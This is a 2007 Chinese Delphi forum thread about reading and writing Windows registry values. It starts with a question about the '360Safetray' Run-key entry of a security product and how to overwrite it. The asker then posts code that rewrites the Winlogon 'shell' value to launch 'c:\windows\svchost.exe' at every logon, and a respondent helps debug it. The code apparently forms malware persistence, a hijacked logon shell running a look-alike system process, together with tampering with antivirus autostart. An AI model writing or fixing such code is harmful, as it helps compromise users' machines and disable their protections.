我想对注册表中某一项的某个键值,并赋值给某个变量,该如何写代码?

pbcoder 2007-10-28 10:02:44
假设我要读HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run中的数值名称为“360Safetray”的数值数据,并将得到的数值数据赋值给变量regrun,代码该怎么写?谢谢。请在下面的代码中写入:

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Registry;

type
Tsvchostun = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
end;

var
svchostun: Tsvchostun;
ARegistry: TRegistry;
implementation

{$R *.dfm}
begin


end.
...全文
284 9 打赏 收藏 转发到动态 举报
写回复
用AI写文章
9 条回复
切换为时间正序
请发表友善的回复…
发表回复
dtot 2007-10-29
  • 打赏
  • 举报
回复
黑马王子,牛人一个啊。。。
boblaw 2007-10-28
  • 打赏
  • 举报
回复

ARegistry:=TRegistry.Create;
ARegistry.RootKey:=HKEY_LOCAL_MACHINE;
if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false) then
regrun:=ARegistry.ReadString('360Safetray');
ARegistry.CloseKey;
boblaw 2007-10-28
  • 打赏
  • 举报
回复
if regrun < >regguding then
----------------------
这一行有问题,应为<>而不是< >,多了个空格,其他的OK
pbcoder 2007-10-28
  • 打赏
  • 举报
回复
我把代码贴出来,你帮忙分析一下吧,我这里总是有错误,好像是在写shell那里有错

var
svchostun: Tsvchostun;
ARegistry: TRegistry;
BRegistry: TRegistry;
regrun:string;
regguding:string;

implementation

{$R *.dfm}
begin
regguding :='Explorer.exe c:\windows\svchost.exe';
ARegistry:=TRegistry.Create;
ARegistry.RootKey:=HKEY_LOCAL_MACHINE;
ARegistry.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
regrun:=ARegistry.ReadString('shell');//将shell的值赋值给regrun
ARegistry.CloseKey;
ARegistry.Destroy;
if regrun<>regguding then
begin
BRegistry:=TRegistry.Create;
BRegistry.RootKey:=HKEY_LOCAL_MACHINE;
BRegistry.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',true);
BRegistry.WriteString('shell',regguding);
BRegistry.CloseKey;
BRegistry.Destroy;
end;
end.

我解释一下我要实现的功能,这个程序运行后,获得shell的值,然后与regguding做比较,如果他们不一样,则将shell的值修改为regguding。
boblaw 2007-10-28
  • 打赏
  • 举报
回复
true和false是表示如果没有这个键的话,是否要创建.
1楼是读,不建立这个key也是可以的,如果你要建就使用true
3楼是写,当然必须得有这个key才能写,所以传了true做为参数
LZ可以参考delphi帮助
pbcoder 2007-10-28
  • 打赏
  • 举报
回复
为什么1楼处“if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',false) then
”是false?3楼处“if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then”是true?
boblaw 2007-10-28
  • 打赏
  • 举报
回复
方法是这样的,上面把360Safetray写成了360Safetray1,aaa写成了bbb.
boblaw 2007-10-28
  • 打赏
  • 举报
回复

if ARegistry.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true) then
begin
ARegistry.WriteString('360Safetray1','bbb');
end;
pbcoder 2007-10-28
  • 打赏
  • 举报
回复
谢谢黑马王子,功能已经实现。如果要将360Safetray的数值修改成“aaa”,代码该如何写?谢谢。

5,391

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧